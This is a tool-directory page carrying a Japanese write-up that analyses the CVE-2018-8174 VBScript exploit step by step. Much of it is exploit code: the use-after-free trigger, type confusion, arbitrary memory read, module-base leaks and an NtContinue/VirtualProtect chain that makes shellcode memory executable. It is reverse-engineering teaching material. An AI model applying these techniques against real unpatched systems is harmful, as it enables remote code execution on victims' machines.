Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2018-8174_analysis — VBSエクスプロイトCVE-2018-8174の解析 | Kitploit
ツール/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
メモリフォレンジック脆弱性分析エクスプロイトリバースエンジニアリング学習と教育バイナリエクスプロイト
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

VBSエクスプロイトCVE-2018-8174の解析

リポジトリを見る
301428年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

最新ブラウザエクスプロイトの解析: CVE-2018-8174 のケーススタディ

概要

このエクスプロイトが2018年4月から5月にかけて初めて登場したとき、私は強い興味を抱きました。なぜなら、高度に難読化されているにもかかわらず、コード構造はよく整理されており、脆弱性のエクスプロイトコードは十分に小さく、解析が簡単だったからです。GitHubのPoC をダウンロードし、内部を詳しく調べるのに適した候補だと判断しました。当時、すでに2つの解析が公開されていました。1つは360、もう1つはKasperskyによるものです。両方の解析は動作の理解に役立ちましたが、エクスプロイトのあらゆる側面を深く理解するには十分ではありませんでした。そこで、自分で解析し、その結果を共有することにしました。

前処理

まず、整数難読化を取り除くために、Pythonスクリプトで正規表現置換を使用しました。

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# 極めて安全 :)

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

難読化された名前については、解析の進行に合わせて段階的に名前を変更しました。この解析は、末尾にリンクがあるソースコードと一緒に読むのが最適です。

解放後使用

脆弱性は、オブジェクトが終了され、カスタム定義関数 Class_Terminate() が呼び出されたときに発生します。この関数では、解放されているオブジェクトへの参照が UafArray に保存されます。以降、UafArray(i) は削除されたオブジェクトを指します。

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' 参照カウンタを修正
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

また、Class_Terminate() の最後の行にも注目してください。ClassTerminate オブジェクトを UafArray にコピーすると、その参照カウンタが増加します。これをバランスさせるために、FreedObjectArray に別の値を代入して、再度解放します。これを行わないと、Class_Terminate を呼び出してもオブジェクトのメモリが解放されず、次のオブジェクトがその場所に割り当てられなくなります。

VBScriptClass::Release メソッド

新しいオブジェクトの作成と削除はループ内で7回繰り返され、その後、ReuseClass クラスの新しいオブジェクトが作成されます。この新しいオブジェクトは、以前に7つの ClassTerminate インスタンスが占有していた同じメモリに割り当てられます。 これをよりよく理解するために、すべての割り当てを追跡する簡単な WinDbg スクリプトを示します。

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

UafTrigger 関数からの割り当てログは以下のとおりです。

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

ReuseClass が確かに7つの以前の ClassTerminate インスタンスに割り当てられていたのと同じメモリに割り当てられていることがすぐにわかります。 これは2回繰り返されます。最終的に、UafArrays によって参照される2つのオブジェクトが得られます。これらの参照はいずれもオブジェクトの参照カウンタに反映されていません。 このログでは、Class_Terminate が呼び出された後でも、オブジェクトの参照カウンタを変更する操作がいくつかあることにも気づきます。 そのため、Class_Terminate 内でこのカウンタのバランスを取らなかった場合、次のような結果になります。

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

異なる割り当てアドレスが表示されます。エクスプロイトは解放後使用状態の作成に失敗します。

型混乱

各オブジェクトに対して7つの未カウント参照を持つ2つのオブジェクトを作成したことで、任意のメモリ読み取りプリミティブを確立しました。 ReuseClass と FakeReuseClass という2つの類似したクラスがあります。最初のクラスを2番目のクラスに置き換えることで、mem メンバーに型混乱が発生します。

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' 実際にはデフォルトプロパティ Get が呼び出される
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

SetProp 関数では、ReuseClass.mem が保存され、ReplacingClass_* クラスの Default Property Get が呼び出され、その呼び出しの結果が ReuseClass.mem に配置されます。

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		' 16進値: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

このゲッターの内部で、UafArray の各要素に0を代入して空にします。これにより、UafArray によって参照されている ReuseClass オブジェクトに対して VBScriptClass::Release が呼び出されます。この実行段階では、ReuseClass オブジェクトの参照カウンタが7に等しいことが判明し、Release を7回呼び出すため、このオブジェクトは解放されます。そして、これらの参照は解放後使用の状況から来ているため、参照カウンタには計上されていません。 ReuseClass の代わりに、FakeReuseClass の新しいオブジェクトが割り当てられます。ここで、ReuseClass の場合と同じように参照カウンタを7にするために、UafArray に7回代入します。 以下は、この操作の前後のメモリレイアウトです。

ReuseClass を FakeReuseClass に置き換え

VBScript オブジェクトの図

これが完了すると、ゲッター関数は、古い ReuseClass::mem 変数に代入される値を返します。メモリダンプからわかるように、古い値は新しい値より0xCバイト前に配置されていました。オブジェクトは、関数名の適切な長さを選択するなど、この状況を引き起こすように特別に細工されていました。これで、ReuseClass::mem に書き込まれた値が FakeReuseClass::mem のヘッダーを上書きし、型混乱の状況が発生します。

mem メンバーの型混乱

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY 構造体を文字列として
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") '書き込みに使用するメモリ領域としての null を含む文字列

objectImitatingArray.mem = FakeArrayString

最後の行は、文字列 FakeArrayString を objectImitatingArray.mem に代入します。ヘッダーは現在 VT_BSTR の値を持ちます。

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

この値は objectImitatingArray.mem の型を VT_ARRAY | VT_VARIANT に上書きし、文字列へのポインタが SAFEARRAY 構造体へのポインタとして解釈されるようになります。

任意のメモリ読み取り

結果として、FakeReuseClass の2つのオブジェクトが得られます。1つは、ユーザー空間全体 (0x00000000 - 0x7fffffff) をアドレス指定する mem メンバー配列を持ち、もう1つは、空の16バイト文字列へのポインタを持つ VT_I4 (4バイト整数) 型のメンバーを持ちます。2番目のオブジェクトを使用して、文字列へのポインタが漏洩します。

root@kitploit:~
some_memory=resueObjectB_int.mem

これは後で、書き込み可能なメモリ内のアドレスとして使用されます。 次のステップは、vbscript.dll 内の任意のアドレスを漏洩させることです。ここでは、非常に巧妙なトリックが使用されています。

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

最初に、エラーが発生した場合、スクリプトが通常の実行を続行するように定義します。次に、EmptySub を変数に代入しようと試みます。これはVBSでは不可能ですが、エラーが生成される前に値がスタックにプッシュされます。次の命令は変数にnullを代入するもので、スタック上の最後の値の型を VT_NULL に変更するだけで実行されます。これで、emptySub_addr_placeholder は関数へのポインタを保持しますが、型は VT_NULL に設定されます。

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' var 型を vbLong に設定
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' データを vbLong として読み取り
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' データを設定
End Sub

次に、この値が書き込み可能なメモリに書き込まれ、その型が VT_I4 に変更され、整数として読み戻されます。 この値の内容を確認すると、CScriptEntryPoint へのポインタであることがわかり、最初のメンバーは vbscript.dll 内の vftable を指しています。

vbscript.dll アドレスの漏洩

任意のアドレスから値を読み取るために、この場合は LeakVBAddr から返されたポインタを使用して、次の関数が使用されます。

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' BSTR ポインタ + 4 として値を設定 (BSTR オブジェクト: [len][addr+4]、LenB は [len] から読み取る == [addr])
	resueObjectA_arr.mem(some_memory)=8				' 型を VT_BSTR に設定
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' 元の VT_I2 に型を戻す
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

読み取りは、最初にアドレス+4を書き込み可能なメモリに書き込み、次に型を VT_BSTR に変更することで実現されます。これで、アドレス+4は BSTR へのポインタとして扱われます。 アドレス+4に対して LenB を呼び出すと、アドレスが指す値が返されます。なぜなら、BSTR の定義上、Unicode値の前にその長さが置かれ、その長さが LenB によって返されるからです。

LenB の実装

これで、vbscript.dll 内のアドレスが漏洩し、任意のメモリ読み取りが確立されたので、PEヘッダーを適切に走査して必要なすべてのアドレスを取得するだけです。

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

その詳細はここでは説明しません。この記事ではPEファイルについて非常によく説明されています。

コード実行のトリガー

最終的なコード実行は2つのステップで実現されます。最初に、2つの呼び出しのチェーンが構築されますが、これはROPチェーンではありません。NtContinue には、EIP を VirtualProtect アドレスに設定し、ESP を VirtualProtect のパラメータを含む構造体に設定する CONTEXT 構造体が提供されます。

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - パディング、この領域はスタックとして使用される
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - VirtualProtect 実行後に戻るアドレス
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(VirtualProtect の第1引数)
	result = result & UnescapeValue(12288)			' 0x3000 - size (VirtualProtect の第2引数)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (VirtualProtect の第3引数) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (VirtualProtect の第4引数)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- パディングとアラインメント
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - パディング
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - _CONTEXT を 'A' で初期化
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _CONTEXT 構造体の _EIP
	result = result & UnescapeValue(27)			' 0x1b - _CONTEXT 構造体の CsSeg
	result = result & UnescapeValue(0)			' 0x00 - _CONTEXT 構造体の EFLAGS
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _CONTEXT 構造体の _ESP
	result = result & UnescapeValue(35)			' 0x23 - _CONTEXT 構造体の SsSeg
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - パディング
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

まず、シェルコードのアドレスは、先に説明した変数の型を VT_I4 に変更してポインタを読み取る手法を使用して取得されます。 次に、シェルコードアドレス、サイズ、RWX保護などの必要なパラメータすべてを含む VirtualProtect 用の構造体が構築されます。また、VirtualProtect 内部のスタック操作で使用される領域もあります。その後、EIP が VirtualProtect、ESP がそのパラメータに設定された CONTEXT 構造体が構築されます。この構造体は、最初の値として NtContinue アドレスへのポインタが4回繰り返されています。 このチェーンを開始する前の最後のステップは、構造体を文字列としてメモリに保存することです。

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

この関数はチェーンを開始するために使用されます。最初に、保存された構造体の型を0x4Dに変更し、その値を0に設定します。これにより、VAR::Clear が呼び出されます。

コード実行

デバッガからの動的ビュー

コード実行

複雑に見えるかもしれませんが、この実行チェーンは非常に単純です。わずか2ステップです。VirtualProtect を指す CONTEXT 構造体で NtContinue を呼び出します。次に、VirtualProtect がシェルコードを含むメモリページのDEPを無効にし、その後シェルコードに戻ります。

結論

CVE-2018-8174 は、いくつかの解放後使用と型混乱の状態を連鎖させ、非常に巧妙な方法でコード実行を達成する良い例です。このようなエクスプロイトの内部動作を学び理解するための素晴らしい例です。

有用なリンク

コメント付きエクスプロイトコード

Kaspersky の根本原因分析

360 の分析

Kaspersky の別の分析

Trend Micro による CVE-2014-6332 の分析

ツールをダウンロード